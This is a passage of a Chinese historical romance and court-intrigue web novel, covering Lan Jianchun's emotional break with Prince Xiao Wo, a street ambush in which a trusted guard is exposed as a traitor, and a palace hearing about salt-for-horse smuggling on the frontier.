——前车之鉴放在那,后人岂有继续踏过去的道理?
兰见春双手举着刀,颤颤巍巍地站起来,缓缓走向萧沃。他坦坦荡荡地凝视自己,等她过去,甚至两指夹着梅隐,把刀架在自己颈侧,刀刃正好吻上之前兰见春留下的箭疤。
兰见春咬着牙,不敢看他的眼睛,不停躲闪,嗫嚅道:“你利用我,是为争储,对吗?”
萧沃不说话。
兰见春似乎又听见乔竹心的声音,她低下头,眼里噙满了泪水:“一定要跟二殿下争个你死我活,对吗?”
萧沃答:“对。”
兰见春手抖得拿不动刀了:“如果你输了怎么办?”
“死无全尸。”萧沃轻松地笑了,他摁住梅隐,说,“拿稳。”
“我不想搅进去。”兰见春把头埋在自己的双臂下,“我怕……”
萧沃调侃道:“原来你这么胆小。”
“我怕我会死的很惨。”兰见春抽抽噎噎的,“我怕每天都担惊受怕,我怕我一直坚持的还没有结果就结束了……”
萧沃垂眸,听见眼泪掉在地上的声音,云淡风轻地说:“我也害怕。”
兰见春彻底握不动刀了,她松开手,刀刃离开萧沃脖颈的一瞬间,他伸出手把她揽进了怀里。
当她意识到是什么覆上了自己的唇时,梅隐“咣当”掉在地上,兰见春的心跳也漏了一拍。
她双手架在半空,像冻僵了似的动弹不了。她震惊得眼珠子快蹦出来了,愣了好久才想起把人往外推。
羞愧让她脸颊瞬间通红,她像搁浅的鱼一样挣扎,可他力气太大了,她挣不开,也喘不上来气。
萧沃右手摁住她后颈,左手圈住她的腰,使劲地把她往怀里摁。兰见春挣脱不掉,没想到萧沃看着挺单薄一人竟有这么大的力气。
兰见春锤他的肩膀,她害怕极了,不能这样,不能这样……她感觉脊背凉凉的,她又感觉有人在盯着她。
兰见春一睁眼,看见一个身影藏在书架的尽头,它正看着自己,失望地、落寞地叹息。兰见春顿时被铺天盖地的愧疚冲毁了,她认为自己再一次背叛了她的初衷。
来上京,不是为了报仇吗?为何耽于情爱?为何迷恋虚无缥缈的感情?
但萧沃就跟洪流中的人好不容易抓住一棵大树似的抱着她不肯撒手。
兰见春一咬牙,使出九牛二虎之力推开他,然后结结实实地给了他一巴掌。
“啪!”
那脆响就跟幽灵一样在废件室飘荡,久久不去。兰见春吓得往后退,她看着自己的手心,不敢相信自己会下狠手。
萧沃用指尖碰了碰自己被打的半边脸,低头望着她,他想看清她是什么表情,可被打的一边脸疼得发麻,什么都看不见。
“疯子……”兰见春步步后退,“你疯了,萧沃。”
萧沃脸边火辣辣的疼,他摸一摸嘴唇,黏腻腻的是血。他垂着头,额前垂下好几根碎发,很快就被汗液、泪液浸湿:“我很想你。”
“你疯了!”兰见春抓住身旁的书架,她使劲地摇头,“过火了!”
“为什么?你先抓住了我,现在又把我推开呢?你没来,我等了你很久。”
兰见春双手捂住眼,她感觉自己一拳砸在了棉花里。萧沃吻了她,突如其来。他也铺垫了很久,但自己都选择了回避。
其实她去了磬音楼,但是半路遇上了皇帝的刺客。她明晃晃地意识到,自己不能再与萧沃有关联了,皇帝盯着她呢,皇帝会让她死无葬身之地。
不能及时止损吗?她怕死,无论如何,他们都不能再继续了。
“对不起。”兰见春说,“我其实——”
兰见春望着他,望见他红彤彤的眼睛——很委屈,泪汪汪。兰见春身体却没了筋骨似的,顺着书架滑下去,瘫倒在地上。
她竟然又没有勇气坦白了,她不想萧沃因为她再与皇帝针锋相对。
“我不该这样。”萧沃小声说,虽然很狼狈,但他眼睛热得像烧着了一把火,“你说的不对,我救你、帮你,并非想利用你争储。”
兰见春不敢看他的眼睛了,怕自己会再心软,又放不下他了。
她故意用刻薄的语气说:
“你没什么不好承认的,你堂堂天潢贵胄,我一介乡野村妇,长得不好看,家世不显贵,还又嫁过人、死过丈夫!难道你疯了吗?会喜欢我?难道我疯了吗?信你会喜欢我?你给我钱,帮我进晦朔司,帮我查案……用各种漂亮话来哄我,不过是想让我替你卖命。”
“不是!”萧沃亦是第一次用如此强硬的语气跟她说话,“我难道要靠一个什么都没有的人来帮我抢皇位吗!兰见春,我为何要靠你帮我抢皇位,我何至于如此孤立无援?!”
兰见春别开头,讽刺地说:“你今天喝多了?睡醒了身边没有美娇娘,想起我来了?”
萧沃愤懑地说:“你明知我不是滥情的人,为何要说这种话诋毁我?”
兰见春继续讽刺:“你们这种人,不都是一样的吗?生来就在金窝窝里,衣来伸手饭来张口!演的倒是情深似海,其实床上永远不缺人。”
萧沃压着火气:“你怎样调侃我都行,唯独不能说我滥情。”
“殿下今年二十有四,正是如狼似虎的年纪。在外有三四个情人,有什么不好承认的?上京的好饭吃多了,转头想尝点野味,我理解,殿下,我理解你,人都图个新鲜。”
萧沃气得直笑。
“兰见春,你也过火了!我曾见过我母后为了她厌恶的男人生孩子而开膛破肚!我知道我的父母互相厌恶!我母后,我,我的弟弟妹妹们日日夜夜活在灾难中——”
萧沃哭着骂,直抽噎。
兰见春抓紧了膝盖上的布,为难地咋舌,好像惹大祸了。
“我恨我父亲,我不可能成为他那样玩弄感情、玩弄他人命运的烂货!我恶心!我是娶过妻,但那是为他所逼,我选择不了!等他死,我会和离!”
兰见春抬头看他,萧沃哭的一把鼻涕一把泪,她指指他的人中,说:“鼻涕……过河了。”
萧沃直接用手抹鼻子,继续:“我长这么大,从未对哪位女子动过心,也从未与谁有过床/笫之欢。在我遇见我真正喜欢的人之前,我不会做一丁点出格的事。兰见春,我讨厌你诋毁我!”
兰见春从怀中扯出手帕递给他,
“跟以前一样不好吗?为什么非得捅破这层窗户纸?”
“我不甘心。”
“我有丈夫。”
“但他死了。”萧沃反问,“难道你要为了他,守一辈子寡?等以后朝廷给你发贞节牌坊?”
兰见春稍微抬高了声音:“对!我等着陛下封我为天下第一贞洁烈女。”顿了顿,狠心道:“我们一辈子没可能。”
萧沃追问:“你心里没有我吗?就没有一刻,就那么一刻,对我有过——”
兰见春感觉背后有人看着她,她斩钉截铁地说:“没有。”
“那你为何要送我香囊?”萧沃摘下腰间的香囊,抚摸上面细密的针脚,“在宗正寺,为何要抱我,为何要给我希望?”
兰见春沉默。
她缝了好几个晚上,又特地去白云观求来了平安符。说这一针一线里没有真情是假的,可这份情,她现在不敢承了,她怕丢了性命。
她说:“你帮潼裕人争,还差点在宗正寺丢了性命,我只是想谢谢你,没别的想法。”
萧沃摘下那只香囊,难以置信:“感谢?你难道不知道香囊——”
兰见春抬高了声音打断他:“我不知道!我不懂上京人的弯弯绕绕,如果让你误会了,对不起。”
萧沃单膝跪下来,掰过她的肩膀,想让她看着自己。
“兰见春,我不在乎你的出身,你的过去,我喜欢的是你的人,跟其他的没有关系。你是我见过最真实、最勇敢、最诚挚、最坚毅、最有力量的女子,我跟你在一起,我就安心。”
兰见春眼眶发酸,她把头扭向了另一边。萧沃总是这样,不加掩饰地夸赞她,给她信心,让她慢慢膨胀,忘乎所以。是,她知道这是真心的,但她不敢承,她要不起了。
“自从认识了你,我感觉我有了靠山,我什么都不怕了,我每天都想好好吃饭好好睡觉好好活着,我不想病恹恹地见你。可在此之前,在我母后死后,我身边那么多人,都没有一个,能像你一样,让我感觉到安心。”
兰见春越不想靠近萧沃,他就越把自己往他身边拉,就这样纠结、撕扯,心似热油煎。
她说:“你身边有那么多女人,上京城有那么多女人——你怎么就看上了我?”
“我出生在皇家,我的父母为利益而成婚,互相憎恶了一辈子。我的父皇厌弃我,他的女人,他的其他孩子,都视我如仇敌。除了我母后,我不敢吃任何人递给我的饭食,我不敢相信任何人的话,我不敢接受任何人对我的好。”
兰见春眼中渗出泪来,一个羸弱的孩子,在那样残忍的皇宫中长大,该多么艰难……她甚至能想象到萧沃小时候的样子,沉郁,绝望。她抽了抽鼻子,强迫自己不能同情萧沃,不能陷进去。
“我的妹妹,我的母后先继被父皇所杀,我的幼弟被逐出皇宫,我的舅舅为他卖命还被他猜忌。他命令我娶自己的表妹为妻,说是赏赐,可一旦景家或者我出了问题,父皇都可以借这一层关系,让我们一起覆灭。”
兰见春又控制不住地同情他。
“父皇始终不立储,任由我和萧回厮杀,争到现在已经是两败俱伤。可我们都没办法,除非两个死一个,否则父皇不会放过我们。他
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把上京、皇宫都变成了我的囚笼。我只能往上走,我只能争,只有这样我才能改我的命。”
兰见春深吸一口气,又缓缓吐出,她无奈地望着萧沃,任他说什么,她都不会动摇了。
萧沃抓住她的手,诚挚道:“直到我遇见你,直到你不由分说射了我一箭,我就像个疯子一样,我总不自觉地看向你……你能杀了藏在树林里的刺客,你也能给我做出这世上最好吃的饭菜,你还会不顾生死地来宗正寺见我,你像大地一样包容我,又能像神一样救了我。”
兰见春的胸膛剧烈起伏,他说这些话,她怎么能不心动呢?她觉得羞耻的那些东西,在他眼里都不值一提,他爱惜的东西远比浮华更重要,自己怎么能不心动呢?
可是,怎么敢心动呢?她和萧沃相遇在错误的节点,一旦跨越雷池,就会死无葬身之地。
“看着我,我不信你心里没有我。”萧沃托起她的脸颊,他早已泪流满面,“我答应了你,我为了我们,我好好活着呢。你怎么不要我了呢?”
兰见春冷道:“我那是睡醒了说的梦话。”
“我不信,”萧沃倔强道,“兰见春,我欣赏你,一心一意地喜欢你,我没办法再离开你了,不要把我推开,好不好?”
“‘上位’要杀我,连云栈要杀我,现在连陛下都要杀我。”兰见春紧咬牙关,缓了很久才说,“我真怕了,真怕了,殿下。”
“陛下?”萧沃才反应过来不对劲,“陛下?”
“我去了磬音楼,半路遇上截杀。司丞说,那是陛下的人。”兰见春终于吐露了心声,“您心意再真,我也不敢承了。”
萧沃露出憎恶的神情,他恨透了皇帝。“对不起。”萧沃捧起她的手,亲亲她的掌心,“你给我点时间,这些问题,我会尽力解决……”
兰见春说:“我一直都怕死。”
“对不起,对不起……我以后,一定能处理好一切,你能不能不要抛弃我,求你了……”
兰见春说:“那么多人都想杀我。”
萧沃愣住了。
“因为你。”兰见春气声说,“我将死无葬身之地。”
萧沃不回答,眼睫毛上都是小米似的泪珠子。
“不要再来找我了。”兰见春说。
月光静悄悄。夜晚要离开了。上京的雾太大了,大到她看不清前路;脚下的路太难走了,难到她来不及抬头看清萧沃的眼泪,难到她分不出精力回应他的真心。
兰见春甩开了萧沃,一直往后退,问:“我们断了吧。”
萧沃缄默。
兰见春:“就当是为了我,好吗?”
萧沃帮她把梅隐捡了起来。这把刀是他十七岁那年亲手锻的,原本是送给母亲的生辰礼物,但母亲在他十七岁的时候永远离开了他。他现在还是要把这刀送给兰见春,她和母亲一样,都是他最重要的人。
萧沃牵起她的右手,把刀送到了她掌心。萧沃望着她画一样美的眼睛,而她在看他泛白的指关节,他很想替她擦眼泪。
“我不会再来纠缠你了。”萧沃擦擦眼泪,拂袖而去。
兰见春背靠着书架,抱头而泣。
她头痛。
—
腊月二十九,章玉良等潼裕贪墨官员处刑,章玉良凌迟,其余斩首。刑部、都察院、晦朔司三司首领监刑。
章玉良在刑架上一直哭,他望着角落里的兰见春,嘴里似乎在念叨什么。
兰见春不忍心再看,在刽子手提刀的时候就匆匆离开。她袖中一直揣着章玉良想要的玉佩,现在只能等他死再还给他了。
兰见春漫无目的地往外走,忽然一阵马蹄声乱,她跟着人们一起往两边躲闪。
“血!血!”
只见从城门方向闯进来三匹血淋淋的马。为首的是个年轻男子,浑身都是血,他身后的两匹马上分别都驮了人,一路都在流血。
路边的人都惊叫不已,还有的被吓得滑倒了。人们乱成一团,踩掉了好多只鞋。
兰见春有股不祥的预感,那些人往城内跑。
此时,菜市口的刑场也听见了骚乱。乔竹心站起来,踮脚往远看,正好看清打头的那人是谁——澄阳侯独子、叶崇。
“何事骚乱?!”乔竹心立马拔出御赐的宝剑,一个箭步飞下监刑台,她指着叶崇,喊道,“此乃御赐长虹剑,见剑如见陛下,来者何人?速速停下!”
叶崇猛地勒马,马惊跳,差点踏死了路边的行人。
叶崇惊慌失措地往后看,自己身后已经围满了看热闹的老百姓。他进退两难,只好下马。
“臣叶崇——”叶崇拱手跪下,“有要事请求面见陛下!”
乔竹心问:“你身后是何人?”
“回司丞,”叶崇抬高了声音,说,“是并州知府李纳与羌榆县县令庄典,臣有要事须面见陛下,请司丞放行!”
40. 回京
乔竹心收剑,缓缓让出了路。叶崇见她不再阻拦,立刻上马往前冲。
就在这时,数道箭从半空中飞过,直直地指向叶崇等人。叶崇身手不错,挥刀砍落了几支箭,可他身后的李纳却倒了大霉,一支箭正中他后心。
“不好!”乔竹心跑到李纳身边,摸他后背的伤,箭恰好离心脏还有一寸半的距离。李纳仍有鼻息,应该能坚持到他们进宫。
“杀人了——杀人了——”
周围百姓尖叫逃窜,兰见春被人挤来挤去。菜贩的小摊被人撞散了,青菜撒了一地。菜贩一边低头捡还没被人踩烂的青菜,一边哭着往安全的地方跑。兰见春一手护自己脑袋,一手拎起菜贩的衣领,把老头推到了屋檐下。
“嗖!”箭的破空声又起!
箭就跟蝗虫似的往叶崇他们身上飞,叶崇挥刀奋力格挡。乔竹心护在李纳身前,屋檐上飞过去好几个黑影,他们盯着下方的人,伺机出箭。叶崇躲闪不及,肩膀也重箭了。
叶崇带回来的俩人都是潼裕的官,章玉良不是说李纳死了吗?乔竹心趁机转头看一眼李纳,是真人没错——章玉良撒谎!可澄阳侯的儿子怎么掺和进来了?叶崇要是死自己眼皮底下,澄阳侯还不得跟晦朔司拼命?!
乔竹心吹响鸽哨,她要招来晦朔司的绛甲卫。
“疯了!天子脚下,也敢杀人灭口!”叶崇怒骂,飞来的箭更多,估摸着对方派来了二十多个人。
乔竹心在他跟前也敢杀,显然这帮人背水一战,不把他们都杀了不罢休。
屋檐上的刺客飞身而下,举刀朝叶崇劈来。千钧一发之际,数道黑影从后猛扑而来,掷出飞刃,撞飞了射向叶崇和乔竹心的几支箭。
乔竹心回眸看那几个人,他们也穿着夜行衣,用黑布蒙面,乔竹心不知他们是谁的人,但像及时雨,帮了他们的大忙。
其中一个帮手身形魁梧,手握双刀,挡在叶崇身前,犹如铜墙铁壁。兰见春看那人的眼睛,就觉得似曾相识。
他大吼:“保护几位大人!”
刺客一窝蜂地冲上来,他的刀势大开大阖,挡住了这波攻击。叶崇下马,低声问:“兄台是谁的人?”
“您别问。”他大阔步向前冲,左手防御右手攻击,杀人如杀鸡。
另一个帮手身材精瘦,走的则是轻巧敏捷的路数,手中拿的是细长的雁翎刀,迅速贴近了倒伏在地、气息奄奄的李纳身边。
兰见春盯着这个瘦子,随蒙着脸,但越发觉得自己在哪见过他。
瘦子像刚才那个壮汉在前冲锋,他一直缠在李纳身边,眼睛观看整条街的四面八方,他在等一个机会。
“李大人……”瘦子声音带着焦急,慌忙中出手探李纳的鼻息,眼睛快速扫李纳背后的箭杆。
兰见春有种不祥的预感。
除了这个瘦子,乔竹心、叶崇、还有赶来帮他们的所有人都在与那些刺客厮杀。唯有他,不思防御,却关心李纳还有没有气。
兰见春闯出屋檐,一手拎起菜贩摆摊用的木板当盾牌,一手捡了跟木棍,冲进了“战场”。
电光火石间,一只飞刀从瘦子的袖中漏出来,他两指夹着刀,就要抹了李纳的脖子!
此时,兰见春像一只鹰,举着“盾牌”,猛地从他侧后方撞了过来,把他撞飞了!
兰见春趁机把李纳从马上拖了下来,拉到了自己身后。她把木板盖在李纳身上,自己则持棍挡在他身前。
“叛徒。”兰见春小声说。
那人瞳孔骤缩,挥刀斩向兰见春。
“你是谁?”兰见春飞快躲闪,攥着木棍,一击打在了那人的手腕上。
那人不断发起攻击,兰见春只躲,不停地消耗他的体力。她盯着那人的眼睛,伺机寻找拉开他面纱的机会。
这时,街尾传来急促而整齐的马蹄声,道路尽头出现了一批穿红色战甲的军队,是晦朔司的绛甲卫。
“司丞!”晦院甲处千户何白冲过来,一路神挡杀神佛挡杀佛。
“怎么是你?”乔竹心惊讶道,“连云栈呢?”
绛甲卫出动,按理应由晦院同知统领,结果来的竟是何白,乔竹心心中的猜疑更添了几分。
何白忙于厮杀,来不及回答。绛甲卫把刺客杀得落花流水,他们眼见行动失败,顿时响起一声哨,残余刺客立刻放弃战斗,以迅雷不及掩耳之势潜入巷中,眨眼间消失得无影无踪。
何白问:“司丞,还追吗?”
乔竹心摇头,转头一看,兰见春却不见了。
“兰见春呢?”乔竹心问何白,“她人呢?刚才还在这!”
何白扫一眼遍地狼藉,惊呼:“司丞,李纳也不见了!”
—
兰见春根本不是那瘦子的对手,她一手拖着李纳,跟无头苍蝇似的在巷子里乱跑。而那瘦子穷追不舍,最后把兰见春堵在了一个死胡同。
“你逃不掉了。”瘦子说,“你把人放了,我放了你。”
兰见春把李纳停在墙角,自己则随手抄起一根烂笤帚,挡在他跟前。说实话,烂笤帚把儿比梅隐好用,以前她在村里教孩子们习武时,用的都是五尺长棍。
兰见春抬眸盯着瘦子:“我一定在哪见过你。”
瘦子沉默,攥紧了雁翎刀。
“你没必要掺和这种事。”瘦子问,“你不是很怕死吗?”
兰见春警觉:“你的声音——”
“他活不成了,你没必要因为他死……”瘦子话音未落,兰见春就挥笤帚朝他脸上扫。瘦子躲闪不及,被她刮到了脸。
“你是……”兰见春看着他白净的脸,不敢相信,“文亭?”
萧沃的贴身护卫——岷王最信任的人——是叛徒?
“兰夫人,我本不想要你的命。”文亭挥刀向她杀来,兰见春挑起长棍戳他的胸口。雁翎刀比笤帚把短不少,文亭使了好多招都没能近兰见春的身。
他眯起眼,飞出一片飞刃,刺兰见春的喉管。她向后躲闪,就在此刻,文亭再次扔出第二片刀,“刺啦”一声,兰见春感觉有个冰凉的物件插进了自己的腹部。
她低头一看,血很快就晕透了棉衣。她吓
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坏了,笤帚把掉在地上,身后的李纳发出痛苦的“嘶嘶”声。李纳不能死,他一定、一定知道潼裕的秘密。文亭向他们走来,兰见春回身扑在了李纳身上。
“没必要,兰夫人。”文亭扬起胳膊,兰见春害怕地闭上了眼。
但刀没有落下。
“咣当当……”
兰见春抬头,发现文亭的手腕被一支箭贯穿,雁翎刀滚落在地。文亭与兰见春一同向后看去,却见萧沃持弓瞄准了文亭的脑袋。
萧沃眼里满满都是失望。文亭垂眸,不敢流下眼泪。他举双手投降,膝盖点地跪了下去。
萧沃提口气,弓拉得更圆了。
“别杀他!”兰见春大叫着扑向文亭,她张开双臂箍住文亭,朝萧沃喊,“留活口!”
文亭不停挣扎,兰见春身上本就有伤,使不上多少力。文亭张开嘴,兰见春惊叫,“愣着干嘛!他要咬舌!你快点!”
萧沃这才反应过来,兰见春嫌他慢,腾出一只手伸进文亭嘴里,“铛”地一下,文亭咬了兰见春的手指。
萧沃照文亭的脖颈给了他一拳,文亭被他弄昏了去。兰见春手被文亭咬破了,不停地流血。萧沃解下衣带,扯过兰见春的手给她包扎。
“要命的不是那……”兰见春气声说,“肚子……疼。”
萧沃往下看,手忙脚乱地把衣带又扯下来。但兰见春的肚子伤得太重,刀片深深地嵌进肉里,根本找不见在哪。血汩汩地往外流,萧沃用衣带堵那个血洞,血却顺着他指缝往外渗。
萧沃眼泪一颗颗地落在那些血里,兰见春把手搭在他肩膀,小声说:“死不了……快些,大夫……他俩别死了。”
萧沃抬起头,兰见春脸色白得像死了,脸上的汗跟小溪似的往下流。
“快点……别磨叽。”兰见春晃他,“快去找人……”
萧沃声音抖得不像话:“血流了好多。”
兰见春手滑下来,冰凉的指尖擦过他颈侧,她喘了好几下才说:“你再不去找人,我真得死了。”
萧沃这才回过神来往外跑,正好遇见往这边来找人的乔竹心。
“岷王殿下?”乔竹心快些跑过来,看见胡同里的兰见春、李纳和文亭,朝身后的何白喊,“快去找郎中!”
萧沃呢喃道:“不能死……”
乔竹心低声说:“殿下,您不能在这。”
萧沃抓住她的手腕:“司丞,她不能死……”
“殿下!”乔竹心凑近了萧沃,压低了声音,“您现在应该在自己府中!今日臣就当没见过殿下,请您速速回府!”
萧沃弓下身子,松开乔竹心,在她腕子上留下了血迹。
萧沃哽咽道:“叶崇、李纳、庄典、文亭,这四人请大人务必照看好。他们一次没成功,一定还会来第二次。”
“臣明白。”乔竹心说,“请您速速回府,等陛下传召。”
“兰见春不能死,荫槐恳求大人……一定要救活她。”
乔竹心担忧地看远处的兰见春:“她伤得太重了……晦朔司一定尽力。”
41. 上殿
皇宫内,叶崇跪着,而内阁四位大臣站在左侧,乔竹心单独站在右侧。李纳与庄典则躺在地上,太医手忙脚乱地为他们疗伤。
俩老头疼得龇牙咧嘴惊叫不已,皇帝原本打算让他们去后殿,可叶崇不同意,说这俩人只要离开视线,就会被奸人所杀。
无奈之下,只好在大殿上,当着众人的面诊治。
皇帝背过手打量叶崇,有些想笑,对叶崇说:“你发现了什么?”
“回禀陛下,潼裕私盐贩子横行霸道,当街强抢壮丁。而替他们抓人的,竟是官府的人!臣就被抓去了盐湖当盐工!臣到盐湖的第一天,就遇到了官府查抄,盐工四散而逃,臣在路上遇见了庄大人。”
皇帝问:“你怎么会在那种地方遇见庄典?他不是已经死了吗?”
早在两个月前,萧回的查贪报告里就写了,羌榆县令庄典畏罪自裁。没过几天,萧回的奏本里又写,并州知府李纳死于流亡途中。
“死人复生,”皇帝讥笑,“是屹王骗了朕,还是你叶崇骗了朕?”
叶崇磕头:“臣不敢!若此二人是假的,为何臣进京路上遭遇了整整四次截杀!”说罢他就要扯自己的衣服,把伤疤漏给皇帝看。
“叶公子!”汪琢小声说,“你这样成何体统!”
“让他脱!”皇帝给汪琢打了个手势,意思是让他过去看看。
叶崇哪受得了这种委屈,立马脱掉了上半身衣服,身上确实伤痕累累。汪琢下来一看,心疼地咋舌:“公子,您这……受了多大委屈!”
汪琢对皇帝说:“陛下!叶公子身上有数处刀伤,有的都——溃烂了!”
“公公请看仔细了!臣后背上,还有火铳留下的枪伤!”叶崇趴下,让皇帝与阁臣看得更清楚些。
皇帝闻言站起来,叶崇背上炸开花的疤痕,的的确确是中弹后留下的。好在伤的不深,没害到性命。
“哪来的火铳?”皇帝往前走了几步,“你在盐场遇见了什么,细说!”
“臣刚到盐场,官兵就拿着火铳来杀!臣命大,活着逃了出去。”叶崇望着皇帝,越说越激动,“路上,臣遇见了李纳,二人一起逃到了一处无人的村落。在此,臣遇见了流亡的庄典。他躲避屹王追杀,一路逃到了这里。”
皇帝抬高了声音:“庄典,可否回话?!”
太医恰好拔针,庄典回过魂,叶崇对他说:“庄典,陛下请你回话。”
庄典睁开眼,大殿亮得刺眼,他马上又闭上了。他抬起一根手指,慢慢地睁眼,映入眼帘的是一大片红色官袍。过了好久,庄典才反应过来自己在哪。
皇帝等不及,走下了皇位,站在庄典旁边。看见那明晃晃的龙袍,庄典吓得一激灵。
“你不必起来,直接回话。”皇帝肃声道,“你治下的私盐贩子猖獗,你可知罪?”
“微臣治罪……但微臣管不了……陛下明鉴,那些人背后有大靠山,微臣不敢得罪……”
皇帝:“大靠山?是章玉良吗?”
庄典摇头:“微臣不知道……微臣人微言轻,什么都不懂,什么都没看见……”
皇帝冷声问:“你贪了多少?”
庄典哭着说:“一千两,陛下,微臣一分没敢花,微臣把钱全放在自家的地窖里了。”
皇帝冷笑:“今日刚处决了一批贪官。”
庄典不知从哪来的力气,竟爬起来,抱住了皇帝的脚踝:“微臣知罪,微臣知罪!但微臣也有事须禀告陛下,还请陛下看在微臣知错就改的份上,留微臣一条命……”
皇帝没有甩开他:“那要看你说的是什么了。”
“潼裕……潼裕……有人通敌。”庄典畏畏缩缩地往后退。
“通敌”二字一出,大殿内霎时鸦雀无声。
皇帝:“你知道你在说什么吗?”
“微臣不敢欺瞒陛下!”庄典抽抽搭搭的,“羌榆县与力剌接壤,有许多私盐贩子都会把盐卖到力剌,并非为赚钱,而是换……换……”
“换马!”李纳气若游丝。
皇帝轻声问:“盐换马?”
四位阁臣与乔竹心跪了下来。首辅赵鹤说:“陛下,兹事体大,仅凭这两个人所说,不能确定潼裕是否有人通敌啊陛下!”
“朕还没定罪呢!”皇帝回眸剜了他一眼,“赵阁老就开始此地无银三百两了?”
“臣不敢!”赵鹤叩头。
“你们二人,知道什么,一一说来。”皇帝双手叉腰,上气不接下气,“朕到底要看看,潼裕烂成了什么样子!”
庄典先说:“陛下!微臣盛平八年到羌榆做官,当时羌榆的边疆便有盐马交易!微臣曾想带人,抓几个私盐贩子,结果遭到了力剌人伏击,微臣差点死在他们手里!打那之后,微臣再也不敢掺和这里边的事了,微臣怕死……”
李纳接着说:“臣知道那些马,都是谁买的。”
一语既出,四座皆惊。
皇帝的心顿时提到了嗓子眼,他目眦尽裂,牙关中流出一个“谁”字。
李纳伏在地上:“臣需要笔纸。”
皇帝:“汪琢!”
汪琢捧着笔纸走下了台阶。李纳拿过笔,手抖得不行,他开始在纸上画。乔竹心抻脖子看,他在纸上花了一个大椭圆,之后在椭圆中央画了个正圆,正圆内又画一个椭圆——正是章玉良在狱中画的符号!
汪琢把画递到了御前。
“陛下,这便是买马人特有的符号,他的手下,都称他为‘上位’。”
“上位?”皇帝大声冷笑,看着眼中眼的怪异符号,“你怎么知道的?”
“盛平四年,臣到潼裕为官。‘上位’的人找到了我,说,做个交易,可保我升官发财。威逼利诱之下,臣妥协了。这几年间,‘上位’指使臣克扣赈灾、增加税收、放任私盐贩子鱼肉百姓,臣得到了官位、钱财。”
皇帝又问:“你现在为何出卖他们?良心发现?”
“屹王查贪,‘上位’要臣与章玉良扛下罪名,臣走投无路,携家人出逃。半路遇截杀,家人都死在那些人手中,臣背后中箭
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,摔下了悬崖。臣被河冲去了下游,幸得农户搭救,捡回来一条命。臣那时就想告发这帮无法无天的人!臣要东行,却被抓了壮丁、拉去了盐湖!要不是叶小侯爷,臣恐怕——早就让他们折磨死了!”
皇帝不敢相信:“你是说,你在挖盐的时候,遇见了同样被抓来当壮丁的叶崇?”
李纳没听出来皇帝的言外之意:“千真万确。”
皇帝问:“他们为何买这么多马,知道吗?”
“臣不知。”李纳说,“‘上位’从我和章玉良那分走了不少钱,加上私盐,必然从力剌处买到了不少马。但臣查过,潼裕市面上,至今没有出现过力剌马。这些马进入我朝境内,就像蒸发一样不见踪影。”
皇帝:“那你如何得知,他们的的确确买了马?”
庄典说:“微臣可以作证!羌榆与力剌边境,有一条盐马道。盐贩子与力剌人就在那交易,购到的马,也会从盐马道入境。”
皇帝问:“盐马道通向何处?”
庄典说:“盐马道顺着羌榆的北边境,一直通往萃神山。一路都有人把守,微臣不敢派人过去,怕惹麻烦。”
赵鹤说:“禀陛下,这萃神山乃我朝与力剌的分界线,鲜有人息。把马送到那里面,怎么想都觉得不可能。”
“微臣不敢欺瞒陛下!”庄典一直磕头,“微臣没有半句假话啊陛下!”
“赵阁老,”皇帝看向神情冷静的赵鹤,唇边挂着危险的笑,“你说,他们买那么多马干什么?”
赵鹤答:“此事尚无定论,臣不知。”
皇帝嗤笑:“什么人,能有这通天的本事?”
赵鹤答:“臣不知。”
“不知?”皇帝“啧啧”两声,“乔竹心,你觉得呢?”
“臣见过这个符号。”乔竹心沉静道,“章玉良在狱中,也画过这个符号。说,这代表‘上位’。”
皇帝:“为何不报?”
“实在骇人听闻。”乔竹心说,“并且章玉良并未提起盐马交易,臣查不到更多证据,便将此符号摁了下来。臣有罪!”
“对啊,没有更多证据。”皇帝看向叶崇,“朕不明白,你放着京城的好日子不过,去潼裕干什么?那是个什么形式,你难道不清楚吗?”
叶崇感觉被人抽了一巴掌似的。
这题送命!
谁平白无故会去那么远的地方?何况叶家也没有潼裕的亲戚。说投军更不行,潼裕是屹王的地界,澄阳侯府的大公子去投屹王军,这不是直接告诉陛下叶家投靠了屹王!
皇帝抬眼盯着他:“你最好说实话。”
“臣……臣……”叶崇的头快埋到了地下。
皇帝高声道:“答话!”
“臣……”叶崇抖如筛糠、汗如雨下。
皇帝急道:“聋了吗?!”
“铛!”叶崇白眼一翻,头超前晕了过去!
“太医!”皇帝指着叶崇,“他怎么了?!”
太医过去号脉:“回陛下,叶公子吓昏过去了!”
42. 叛徒
“真昏过去了?”皇帝走到叶崇身边,看他上翻的眼珠子跟流出来的口水,有种一拳打在棉花上的感觉。
皇帝气得直笑:“谁给你出的馊主意?”
叶崇没反应,跟被雷劈了一样。
皇帝指着他鼻子骂道:“叶崇!你有能耐就一直昏迷!”
“陛下息怒。”乔竹心说,“眼下最重要的是潼裕的盐马交易该如何处理。依臣看,‘上位’势力很大,若放任不管,恐伤……国本。”
温如璋附和道:“乔司丞言之有理。这帮人敢在天子脚下、当街行凶,可见目无王法!陛下,盐、马均是关乎我朝百姓安危的东西,若让这帮无法无天的人长期把持,恐怕会生战乱啊陛下!”
皇帝幽幽地叹了一口气:“你们的意思是,朕要再查潼裕?”
“‘上位’究竟是谁,他们究竟买了多少马,马又养在何处,要那么多钱那么多马究竟要干什么——”乔竹心说,“陛下,若‘上位’意图谋反,此刻便是亡羊补牢之时。”
皇帝沉默。
赵鹤瞪一眼乔竹心,说:“陛下,屹王殿下在潼裕查了许久,如今再查,恐怕让西北一众武将与陛下离心……”
潼裕盐马交易一出,说明萧回查贪查的并不彻底。皇帝再派新人去查潼裕,就是变相告诉西北,皇帝不信任萧回。
西北几省一旦与上京离心,毁的是太平盛世。
皇帝反问:“你是怕查出来‘上位’的身份吧。”
赵鹤吓得磕头:“臣万万不敢!”
“不敢?”皇帝背着手踱到赵鹤面前,“边疆出了盐马交易,还修了盐马道,戍边的屹王军不知道?他屹王不知道?!”
赵鹤冷静地说:“陛下,此事尚无定论!”
皇帝抬高了声音说:“你的意思是,朕需要给萧回时间,让他快些销毁证据,好堵上天下的悠悠之口,对吗?!”
赵鹤答:“殿下忠心耿耿,断然不敢做出如此悖逆之事。”
“他、不、敢?”皇帝一字一顿,胸腔剧烈地起伏,他站定,头昏脑涨得有些看不清路了。
此时,殿外有小太监来报:“陛下,屹王殿下求见。”
皇帝脑袋嗡嗡响,他感觉眼珠子要蹦出去了。他腿分开站,抓住了温如璋的肩膀,好半晌才缓过劲来。
汪琢看出皇帝的异样,问:“陛下,宣吗?”
皇帝点头。
“宣屹王觐见——”
话音刚落,萧回就冲进了殿内。
